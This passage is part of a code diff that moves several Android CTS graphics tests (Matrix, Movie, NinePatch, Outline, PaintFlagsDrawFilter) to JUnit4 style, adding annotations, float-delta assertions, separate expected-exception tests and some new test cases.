             mMatrix.setPolyToPoly(src, 0, dst, 0, 5);
             fail("should throw exception");
-        } catch (Exception e) {
+        } catch (Exception ignored) {
         }
     }
 
+    @Test
     public void testMapPoints() {
         float[] value = new float[9];
         value[0] = 100f;
         mMatrix.mapPoints(value);
-        assertEquals(value[0], 100f);
-        try {
-            mMatrix.mapPoints(null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(value[0], 100f, 0f);
     }
 
+    @Test(expected=Exception.class)
+    public void testMapPointsNull() {
+        mMatrix.mapPoints(null);
+    }
+
+    @Test
     public void testMapPoints2() {
         float[] dst = new float[9];
         dst[0] = 100f;
         float[] src = new float[9];
         src[0] = 200f;
         mMatrix.mapPoints(dst, src);
-        assertEquals(dst[0], 200f);
-        try {
-            mMatrix.mapPoints(new float[8], new float[9]);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(dst[0], 200f, 0f);
     }
 
-    public void testMapPoints3() {
+    @Test(expected=Exception.class)
+    public void testMapPointsArraysMismatch() {
+        mMatrix.mapPoints(new float[8], new float[9]);
+    }
+
+    @Test
+    public void testMapPointsWithIndices() {
         float[] dst = new float[9];
         dst[0] = 100f;
         float[] src = new float[9];
         src[0] = 200f;
         mMatrix.mapPoints(dst, 0, src, 0, 9 >> 1);
-        assertEquals(dst[0], 200f);
-        try {
-            mMatrix.mapPoints(null, 0, new float[9], 0, 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(dst[0], 200f, 0f);
     }
 
+    @Test(expected=Exception.class)
+    public void testMapPointsWithIndicesNull() {
+        mMatrix.mapPoints(null, 0, new float[9], 0, 1);
+    }
+
+    @Test
     public void testMapVectors() {
         float[] values = new float[9];
-        values = new float[9];
         values[0] = 100f;
         mMatrix.mapVectors(values);
-        assertEquals(values[0], 100f);
-        try {
-            mMatrix.mapVectors(null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(values[0], 100f, 0f);
     }
 
-    public void testMapVectors2() {
+    @Test(expected=Exception.class)
+    public void testMapVectorsNull() {
+        mMatrix.mapVectors(null);
+    }
+
+    @Test
+    public void testMapVectorsDstSrc() {
         float[] src = new float[9];
         src[0] = 100f;
         float[] dst = new float[9];
         dst[0] = 200f;
         mMatrix.mapVectors(dst, src);
-        assertEquals(dst[0], 100f);
-
-        try {
-            mMatrix.mapVectors(new float[9], new float[8]);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(dst[0], 100f, 0f);
     }
 
-    public void testMapVectors3() {
+    @Test(expected=Exception.class)
+    public void testMapVectorsDstSrcMismatch() {
+        mMatrix.mapVectors(new float[9], new float[8]);
+    }
+
+    @Test
+    public void testMapVectorsDstSrcWithIndices() {
         float[] src = new float[9];
         src[0] = 100f;
         float[] dst = new float[9];
         dst[0] = 200f;
         mMatrix.mapVectors(dst, 0, src, 0, 1);
-        assertEquals(dst[0], 100f);
+        assertEquals(dst[0], 100f, 0f);
         try {
             mMatrix.mapVectors(dst, 0, src, 0, 10);
             fail("should throw exception");
-        } catch (Exception e) {
+        } catch (Exception ignored) {
         }
     }
 
+    @Test
     public void testMapRadius() {
-        assertEquals(mMatrix.mapRadius(100f), 100f);
+        assertEquals(mMatrix.mapRadius(100f), 100f, 0f);
         assertEquals(mMatrix.mapRadius(Float.MAX_VALUE),
-                Float.POSITIVE_INFINITY);
-        assertEquals(mMatrix.mapRadius(Float.MIN_VALUE), 0f);
+                Float.POSITIVE_INFINITY, 0f);
+        assertEquals(mMatrix.mapRadius(Float.MIN_VALUE), 0f, 0f);
     }
 
+    @Test
     public void testMapRect() {
         RectF r = new RectF();
         r.set(1f, 2f, 3f, 4f);
         assertTrue(mMatrix.mapRect(r));
-        assertEquals(1f, r.left);
-        assertEquals(2f, r.top);
-        assertEquals(3f, r.right);
-        assertEquals(4f, r.bottom);
-
-        try {
-            mMatrix.mapRect(null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(1f, r.left, 0f);
+        assertEquals(2f, r.top, 0f);
+        assertEquals(3f, r.right, 0f);
+        assertEquals(4f, r.bottom, 0f);
     }
 
-    public void testMapRect2() {
+    @Test(expected=Exception.class)
+    public void testMapRectNull() {
+        mMatrix.mapRect(null);
+    }
+
+    @Test
+    public void testMapRectDstSrc() {
         RectF dst = new RectF();
         dst.set(100f, 100f, 200f, 200f);
         RectF src = new RectF();
         dst.set(10f, 10f, 20f, 20f);
         assertTrue(mMatrix.mapRect(dst, src));
-        assertEquals(0f, dst.left);
-        assertEquals(0f, dst.top);
-        assertEquals(0f, dst.right);
-        assertEquals(0f, dst.bottom);
+        assertEquals(0f, dst.left, 0f);
+        assertEquals(0f, dst.top, 0f);
+        assertEquals(0f, dst.right, 0f);
+        assertEquals(0f, dst.bottom, 0f);
 
-        assertEquals(0f, src.left);
-        assertEquals(0f, src.top);
-        assertEquals(0f, src.right);
-        assertEquals(0f, src.bottom);
-
-        try {
-            mMatrix.mapRect(null, null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        assertEquals(0f, src.left, 0f);
+        assertEquals(0f, src.top, 0f);
+        assertEquals(0f, src.right, 0f);
+        assertEquals(0f, src.bottom, 0f);
     }
 
+    @Test(expected=Exception.class)
+    public void testMapRectDstSrcNull() {
+        mMatrix.mapRect(null, null);
+    }
+
+    @Test
     public void testAccessValues() {
         Matrix matrix = new Matrix();
         mMatrix.invert(matrix);
@@ -468,29 +508,34 @@
         mMatrix.setValues(values);
         values = new float[9];
         mMatrix.getValues(values);
-        String expect = "[9.0, 100.0, 0.0][0.0, 0.0, 0.0][0.0, 0.0, 0.0]";
-        assertEquals(expect, toShortString(values));
+        assertArrayEquals(new float[] {
+                9.0f, 100.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f
+        }, values, 0.0f);
     }
 
-    private String toShortString(float[] values) {
-        return "[" + values[0] + ", " + values[1] + ", " + values[2] + "]["
-                + values[3] + ", " + values[4] + ", " + values[5] + "]["
-                + values[6] + ", " + values[7] + ", " + values[8] + "]";
-    }
-
+    @Test
     public void testToString() {
         assertNotNull(mMatrix.toString());
     }
 
+    @Test
     public void testToShortString() {
         String expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
         assertEquals(expect, mMatrix.toShortString());
     }
 
+    @Test
     public void testSetTranslate() {
         mMatrix.setTranslate(2f, 3f);
-        String expect = "[1.0, 0.0, 2.0][0.0, 1.0, 3.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 2.0f, 0.0f, 1.0f, 3.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    private void verifyMatrix(float[] expected) {
+        if ((expected == null) || (expected.length != 9)) {
+            fail("Expected does not have 9 elements");
+        }
+        final float[] actualValues = new float[9];
+        mMatrix.getValues(actualValues);
+        assertArrayEquals(expected, actualValues, 0.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
index 5670740..bfab45d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
@@ -16,35 +16,40 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Matrix.ScaleToFit;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Matrix_ScaleToFitTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Matrix_ScaleToFitTest {
+    @Test
     public void testValues() {
         ScaleToFit[] scaleToFits = ScaleToFit.values();
         assertEquals(ScaleToFit.FILL,scaleToFits[0]);
-        assertEquals( ScaleToFit.START,scaleToFits[1]);
-        assertEquals( ScaleToFit.CENTER,scaleToFits[2]);
-        assertEquals( ScaleToFit.END,scaleToFits[3]);
+        assertEquals(ScaleToFit.START,scaleToFits[1]);
+        assertEquals(ScaleToFit.CENTER,scaleToFits[2]);
+        assertEquals(ScaleToFit.END,scaleToFits[3]);
     }
 
+    @Test
     public void testValueOf() {
         assertEquals(ScaleToFit.FILL,ScaleToFit.valueOf("FILL"));
-        assertEquals( ScaleToFit.START,ScaleToFit.valueOf("START"));
-        assertEquals( ScaleToFit.CENTER,ScaleToFit.valueOf("CENTER"));
+        assertEquals(ScaleToFit.START,ScaleToFit.valueOf("START"));
+        assertEquals(ScaleToFit.CENTER,ScaleToFit.valueOf("CENTER"));
         assertEquals(ScaleToFit.END,ScaleToFit.valueOf("END") );
     }
 
+    @Test
     public void testValueOf2() {
-        assertEquals(ScaleToFit.FILL, ScaleToFit.valueOf(ScaleToFit.class,
-                "FILL"));
-        assertEquals(ScaleToFit.START, ScaleToFit.valueOf(ScaleToFit.class,
-                "START"));
-        assertEquals(ScaleToFit.CENTER, ScaleToFit.valueOf(ScaleToFit.class,
-                "CENTER"));
-        assertEquals(ScaleToFit.END, ScaleToFit
-                .valueOf(ScaleToFit.class, "END"));
+        assertEquals(ScaleToFit.FILL, ScaleToFit.valueOf(ScaleToFit.class, "FILL"));
+        assertEquals(ScaleToFit.START, ScaleToFit.valueOf(ScaleToFit.class, "START"));
+        assertEquals(ScaleToFit.CENTER, ScaleToFit.valueOf(ScaleToFit.class, "CENTER"));
+        assertEquals(ScaleToFit.END, ScaleToFit.valueOf(ScaleToFit.class, "END"));
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/MockActivity.java b/tests/tests/graphics/src/android/graphics/cts/MockActivity.java
deleted file mode 100644
index addc6d3..0000000
--- a/tests/tests/graphics/src/android/graphics/cts/MockActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-
-}
diff --git a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
index c1e7ead..22fa7c3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
@@ -16,6 +16,27 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Canvas;
+import android.graphics.Movie;
+import android.graphics.Paint;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -23,42 +44,38 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
-import android.content.Context;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.Canvas;
-import android.graphics.Movie;
-import android.graphics.Paint;
-import android.test.ActivityInstrumentationTestCase2;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MovieTest {
+    private final int MOVIE = R.drawable.animated;
 
-public class MovieTest extends ActivityInstrumentationTestCase2<MockActivity> {
+    private Context mContext;
+    private Resources mResources;
     private Movie mMovie;
-    private final int MOVIE = android.graphics.cts.R.drawable.animated;
 
-    public MovieTest() {
-        super("android.graphics.cts", MockActivity.class);
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResources = mContext.getResources();
+        mMovie = mResources.getMovie(MOVIE);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mMovie = getActivity().getResources().getMovie(MOVIE);
-    }
-
+    @Test
     public void testDraw1() {
         Canvas c = new Canvas();
         Paint p = new Paint();
         mMovie.draw(c, 100, 200, p);
     }
 
+    @Test
     public void testDraw2() {
         Canvas c = new Canvas();
         mMovie.draw(c, 100, 200);
     }
 
+    @Test
     public void testDecodeFile() throws Exception {
-        mMovie = null;
-        File dbDir = getInstrumentation().getTargetContext().getDir("tests",
-                Context.MODE_PRIVATE);
+        File dbDir = mContext.getDir("tests", Context.MODE_PRIVATE);
         File imagefile = new File(dbDir, "animated.gif");
         if (imagefile.exists()) {
             imagefile.delete();
@@ -67,31 +84,19 @@
         mMovie = Movie.decodeFile(imagefile.getPath());
         assertNotNull(mMovie);
 
-        mMovie = null;
         mMovie = Movie.decodeFile("/no file path");
         assertNull(mMovie);
     }
 
     private void writeSampleImage(File imagefile) throws Exception {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = getActivity().getResources().openRawResource(MOVIE);
-            target = new FileOutputStream(imagefile);
+        try (InputStream source = mResources.openRawResource(MOVIE);
+             OutputStream target = new FileOutputStream(imagefile)) {
 
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source
                     .read(buffer)) {
                 target.write(buffer, 0, len);
             }
-        } finally {
-            if (source != null) {
-                source.close();
-            }
-            if (target != null) {
-                target.close();
-            }
         }
     }
 
@@ -108,29 +113,26 @@
 
     }
 
+    @Test
     public void testDecodeByteArray() throws Exception {
-        mMovie = null;
-        InputStream is = getActivity().getResources().openRawResource(MOVIE);
+        InputStream is = mResources.openRawResource(MOVIE);
         byte[] bytes = inputStreamToBytes(is);
         mMovie = Movie.decodeByteArray(bytes, 0, bytes.length);
         is.close();
         assertNotNull(mMovie);
     }
 
-    public void testDecodeStream() {
+    @Test
+    public void testDecodeStream() throws IOException {
         assertFalse(mMovie.isOpaque());
         mMovie = null;
-        try {
-            InputStream is = getActivity().getResources()
-                    .openRawResource(MOVIE);
+        try (InputStream is = mResources.openRawResource(MOVIE)) {
             mMovie = Movie.decodeStream(is);
-            is.close();
-        } catch (Exception e) {
-            fail("shouldn't throw exception");
         }
         assertNotNull(mMovie);
     }
 
+    @Test
     public void testSetTime() {
         assertTrue(mMovie.setTime(1000));
         assertFalse(mMovie.setTime(Integer.MAX_VALUE));
@@ -138,17 +140,17 @@
         assertFalse(mMovie.setTime(-1));
     }
 
+    @Test
     public void testGetMovieProperties() {
         assertEquals(1000, mMovie.duration());
         assertFalse(mMovie.isOpaque());
 
-        int expectedHeight = getActivity().getResources().getDrawable(MOVIE).getIntrinsicHeight();
-        int scaledHeight = WidgetTestUtils.convertDipToPixels(getActivity(), mMovie.height());
+        int expectedHeight = mResources.getDrawable(MOVIE).getIntrinsicHeight();
+        int scaledHeight = WidgetTestUtils.convertDipToPixels(mContext, mMovie.height());
         assertEquals(expectedHeight, scaledHeight);
 
-        int expectedWidth = getActivity().getResources().getDrawable(MOVIE).getIntrinsicWidth();
-        int scaledWidth = WidgetTestUtils.convertDipToPixels(getActivity(), mMovie.width());
+        int expectedWidth = mResources.getDrawable(MOVIE).getIntrinsicWidth();
+        int scaledWidth = WidgetTestUtils.convertDipToPixels(mContext, mMovie.width());
         assertEquals(expectedWidth, scaledWidth);
-
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
index 8b73380..2094d00 100644
--- a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
@@ -16,8 +16,11 @@
 
 package android.graphics.cts;
 
-import android.graphics.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.res.Resources;
 import android.graphics.Bitmap;
@@ -29,25 +32,32 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.Region;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class NinePatchTest extends AndroidTestCase {
-    private static int ALPHA_OPAQUE = 0xFF;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NinePatchTest {
+    private static final int ALPHA_OPAQUE = 0xFF;
+    private static final String NAME = "TESTNAME";
+    private static final int WIDTH = 80;
+    private static final int HEIGTH = 120;
+    private static final int[] COLOR = new int[WIDTH * HEIGTH];
 
     private NinePatch mNinePatch;
     private Bitmap mBitmap;
     private BitmapFactory.Options mOptNoScale;
     private Resources mRes;
-    private final String NAME = "TESTNAME";
-    private final int WIDTH = 80;
-    private final int HEIGTH = 120;
-    private final int[] COLOR = new int[WIDTH * HEIGTH];
     private byte[] mChunk;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRes = getContext().getResources();
+    @Before
+    public void setup() {
+        mRes = InstrumentationRegistry.getTargetContext().getResources();
         mOptNoScale = new BitmapFactory.Options();
         mOptNoScale.inDensity = mOptNoScale.inTargetDensity = mRes.getDisplayMetrics().densityDpi;
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.opaque, mOptNoScale);
@@ -56,24 +66,49 @@
         mNinePatch = new NinePatch(mBitmap, mChunk, NAME);
     }
 
-    public void testConstructor() {
-        mNinePatch = null;
-        try {
-            mNinePatch = new NinePatch(mBitmap, new byte[2], NAME);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-        mNinePatch = new NinePatch(mBitmap, mChunk, NAME);
+    @Test(expected=Exception.class)
+    public void testConstructorTooShort() {
+        mNinePatch = new NinePatch(mBitmap, new byte[2]);
     }
 
+    @Test(expected=Exception.class)
+    public void testConstructorNamedTooShort() {
+        mNinePatch = new NinePatch(mBitmap, new byte[2], NAME);
+    }
+
+    @Test
+    public void testConstructor() {
+        mNinePatch = new NinePatch(mBitmap, mChunk);
+        assertEquals(mBitmap, mNinePatch.getBitmap());
+        assertEquals(null, mNinePatch.getName());
+
+        mNinePatch = new NinePatch(mBitmap, mChunk, NAME);
+        assertEquals(mBitmap, mNinePatch.getBitmap());
+        assertEquals(NAME, mNinePatch.getName());
+    }
+
+    @Test
+    public void testPaintAccessors() {
+        Paint p = new Paint();
+        mNinePatch = new NinePatch(mBitmap, mChunk, NAME);
+        assertNull(mNinePatch.getPaint());
+
+        mNinePatch.setPaint(p);
+        assertEquals(p, mNinePatch.getPaint());
+
+        mNinePatch.setPaint(null);
+        assertNull(mNinePatch.getPaint());
+    }
+
+    @Test
     public void testIsNinePatchChunk() {
         assertTrue(NinePatch.isNinePatchChunk(mChunk));
         Bitmap bitmap = Bitmap.createBitmap(COLOR, 10, 10, Bitmap.Config.ARGB_4444);
         assertFalse(NinePatch.isNinePatchChunk(bitmap.getNinePatchChunk()));
         assertFalse(NinePatch.isNinePatchChunk(null));
-
     }
 
+    @Test
     public void testDraw() {
         Bitmap expected = BitmapFactory.decodeResource(mRes, R.drawable.scaled1, mOptNoScale);
 
@@ -82,7 +117,7 @@
         Canvas c = new Canvas(bitmap);
         RectF rectf = new RectF(0, 0, c.getWidth(), c.getHeight());
         mNinePatch.draw(c, rectf);
-        checkBitmapWithAlpha(expected, bitmap, ALPHA_OPAQUE);
+        verifyBitmapWithAlpha(expected, bitmap, ALPHA_OPAQUE);
 
         expected = BitmapFactory.decodeResource(mRes, R.drawable.scaled2, mOptNoScale);
         bitmap = Bitmap.createBitmap(expected.getWidth(), expected.getHeight(),
@@ -90,7 +125,7 @@
         c = new Canvas(bitmap);
         Rect rect = new Rect(0, 0, c.getWidth(), c.getHeight());
         mNinePatch.draw(c, rect);
-        checkBitmapWithAlpha(expected, bitmap, ALPHA_OPAQUE);
+        verifyBitmapWithAlpha(expected, bitmap, ALPHA_OPAQUE);
 
         bitmap = Bitmap.createBitmap(expected.getWidth(), expected.getHeight(),
                 Bitmap.Config.ARGB_8888);
@@ -100,7 +135,7 @@
         Paint p = new Paint();
         p.setAlpha(alpha);
         mNinePatch.draw(c, rect, p);
-        checkBitmapWithAlpha(expected, bitmap, alpha);
+        verifyBitmapWithAlpha(expected, bitmap, alpha);
 
         bitmap = Bitmap.createBitmap(expected.getWidth(), expected.getHeight(),
                 Bitmap.Config.ARGB_8888);
@@ -108,10 +143,10 @@
         rectf = new RectF(0, 0, c.getWidth(), c.getHeight());
         mNinePatch.setPaint(p);
         mNinePatch.draw(c, rectf);
-        checkBitmapWithAlpha(expected, bitmap, alpha);
+        verifyBitmapWithAlpha(expected, bitmap, alpha);
     }
 
-    private void checkBitmapWithAlpha(Bitmap expected, Bitmap bitmap, int alpha) {
+    private void verifyBitmapWithAlpha(Bitmap expected, Bitmap bitmap, int alpha) {
         assertEquals(expected.getWidth(), bitmap.getWidth());
         assertEquals(expected.getHeight(), bitmap.getHeight());
         int width = expected.getWidth();
@@ -131,6 +166,7 @@
         }
     }
 
+    @Test
     public void testHasAlpha() {
         assertFalse(mNinePatch.hasAlpha());
         assertEquals(mNinePatch.hasAlpha(), mBitmap.hasAlpha());
@@ -143,16 +179,19 @@
         assertEquals(ninePatch.hasAlpha(), bitmap.hasAlpha());
     }
 
+    @Test
     public void testGetHeight() {
         assertEquals(5, mNinePatch.getHeight());
         assertEquals(mNinePatch.getHeight(), mBitmap.getHeight());
     }
 
+    @Test
     public void testGetWidth() {
         assertEquals(5, mNinePatch.getHeight());
         assertEquals(mNinePatch.getWidth(), mBitmap.getWidth());
     }
 
+    @Test
     public void testGetDensity() {
         mBitmap.setDensity(11);
         assertEquals(11, mNinePatch.getDensity());
@@ -160,6 +199,7 @@
         assertEquals(mNinePatch.getDensity(), mBitmap.getDensity());
     }
 
+    @Test
     public void testGetTransparentRegion() {
         // no transparency in opaque bitmap
         Rect location = new Rect(0, 0, mBitmap.getWidth(), mBitmap.getHeight());
@@ -176,13 +216,13 @@
         region = mNinePatch.getTransparentRegion(location);
         assertNotNull(region);
         Rect regionBounds = region.getBounds();
-        assertBounds(regionBounds, 0, 0, 5, 5);
+        verifyBounds(regionBounds, 0, 0, 5, 5);
 
         location = new Rect(0, 0, mBitmap.getWidth() * 2, mBitmap.getHeight() * 2);
         region = mNinePatch.getTransparentRegion(location);
         assertNotNull(region);
         regionBounds = region.getBounds();
-        assertBounds(regionBounds, 0, 0, 10, 10);
+        verifyBounds(regionBounds, 0, 0, 10, 10);
 
         // transparent padding of 1px on the right side
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.transparent_right, mOptNoScale);
@@ -194,15 +234,15 @@
         region = mNinePatch.getTransparentRegion(location);
         assertNotNull(region);
         regionBounds = region.getBounds();
-        assertBounds(regionBounds, 4, 0, 5, 5);
+        verifyBounds(regionBounds, 4, 0, 5, 5);
 
         location = new Rect(0, 0, mBitmap.getWidth() * 2, mBitmap.getHeight() * 2);
         region = mNinePatch.getTransparentRegion(location);
         regionBounds = region.getBounds();
-        assertBounds(regionBounds, 9, 0, 10, 10);
+        verifyBounds(regionBounds, 9, 0, 10, 10);
     }
 
-    private void assertBounds(Rect regionBounds, int left, int top, int right, int bottom) {
+    private void verifyBounds(Rect regionBounds, int left, int top, int right, int bottom) {
         assertEquals(left, regionBounds.left);
         assertEquals(top, regionBounds.top);
         assertEquals(right, regionBounds.right);
diff --git a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
index 4b01916..b9a667e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
@@ -16,17 +16,21 @@
 
 package android.graphics.cts;
 
-import android.graphics.Outline;
-import android.graphics.Path;
-import android.graphics.Rect;
-import android.test.suitebuilder.annotation.SmallTest;
-import org.junit.Test;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Outline;
+import android.graphics.Path;
+import android.graphics.Rect;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
+@RunWith(AndroidJUnit4.class)
 public class OutlineTest {
     @Test
     public void testDefaults() {
@@ -40,6 +44,20 @@
     }
 
     @Test
+    public void testCopyConstructor() {
+        Outline orig = new Outline();
+        orig.setAlpha(0.5f);
+        orig.setRect(10, 10, 20, 20);
+
+        Outline copy = new Outline(orig);
+        assertEquals(0.5f, copy.getAlpha(), 0.0f);
+
+        Rect copyRect = new Rect();
+        copy.getRect(copyRect);
+        assertEquals(new Rect(10, 10, 20, 20), copyRect);
+    }
+
+    @Test
     public void testGetSetAlpha() {
         Outline outline = new Outline();
 
@@ -60,6 +78,21 @@
     }
 
     @Test
+    public void testSet() {
+        Outline orig = new Outline();
+        orig.setAlpha(0.5f);
+        orig.setRect(10, 10, 20, 20);
+
+        Outline copy = new Outline();
+        copy.set(orig);
+        assertEquals(0.5f, copy.getAlpha(), 0.0f);
+
+        Rect copyRect = new Rect();
+        copy.getRect(copyRect);
+        assertEquals(new Rect(10, 10, 20, 20), copyRect);
+    }
+
+    @Test
     public void testSetRect() {
         Outline outline = new Outline();
         Rect outRect = new Rect();
@@ -135,6 +168,11 @@
         assertTrue(outline.getRect(outRect)); // is round rect, so works
         assertTrue(outline.canClip()); // is round rect, so works
         assertFalse(outline.isEmpty());
+
+        outline.setOval(new Rect(0, 0, 50, 50)); // same x & y radii, so round rect
+        assertTrue(outline.getRect(outRect)); // is round rect, so works
+        assertTrue(outline.canClip()); // is round rect, so works
+        assertFalse(outline.isEmpty());
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
index ee3ec7c..e466099 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
@@ -16,41 +16,44 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
+import android.graphics.Paint.Align;
 import android.graphics.PaintFlagsDrawFilter;
 import android.graphics.Rect;
-import android.graphics.Bitmap.Config;
-import android.graphics.Paint.Align;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PaintFlagsDrawFilterTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PaintFlagsDrawFilterTest {
     private static final float TEXT_SIZE = 20;
     private static final float TEXT_X = 50;
     private static final float TEXT_Y = 50;
     private static final String TEXT = "Test";
     private static final int BITMAP_WIDTH = 100;
     private static final int BITMAP_HEIGHT = 100;
+
     private float mTextWidth;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+    @Test
     public void testPaintFlagsDrawFilter() {
-
         Bitmap bitmapWithoutFilter = drawText(null);
 
         PaintFlagsDrawFilter filter = new PaintFlagsDrawFilter(Paint.UNDERLINE_TEXT_FLAG, 0);
         Bitmap bitmapWithFilter = drawText(filter);
 
         Bitmap combined = delta(bitmapWithoutFilter, bitmapWithFilter);
-        assertUnderline(combined);
+        verifyUnderline(combined);
     }
 
     private Bitmap drawText(PaintFlagsDrawFilter filter) {
@@ -86,7 +89,7 @@
         return combinedBitmap;
     }
 
-    private void assertUnderline(Bitmap bitmap) {
+    private void verifyUnderline(Bitmap bitmap) {
         // Find smallest rectangle containing all RED pixels
         Rect rect = new Rect(BITMAP_WIDTH, BITMAP_HEIGHT, 0, 0);
         for (int y = 0; y < BITMAP_HEIGHT; y++) {
@@ -109,6 +112,7 @@
     }
 
     // Tests that FILTER_BITMAP_FLAG is handled properly.
+    @Test
     public void testPaintFlagsDrawFilter2() {
         // Create a bitmap with alternating black and white pixels.
         int kWidth = 5;
@@ -135,13 +139,13 @@
         Paint simplePaint = new Paint();
         canvas.drawBitmap(grid, 0, 0, simplePaint);
 
-        assertContainsOnlyBlackAndWhite(dst);
+        verifyContainsOnlyBlackAndWhite(dst);
 
         // Drawn with FILTER_BITMAP_FLAG, some pixels will be somewhere in between.
         Paint filterBitmapPaint = new Paint(Paint.FILTER_BITMAP_FLAG);
         canvas.drawBitmap(grid, 0, 0, filterBitmapPaint);
 
-        assertContainsNonBW(dst);
+        verifyContainsNonBW(dst);
 
         // Drawing with a paint that FILTER_BITMAP_FLAG set and a DrawFilter that removes
         // FILTER_BITMAP_FLAG should remove the effect of the flag, resulting in all pixels being
@@ -149,19 +153,19 @@
         canvas.setDrawFilter(new PaintFlagsDrawFilter(Paint.FILTER_BITMAP_FLAG, 0));
         canvas.drawBitmap(grid, 0, 0, filterBitmapPaint);
 
-        assertContainsOnlyBlackAndWhite(dst);
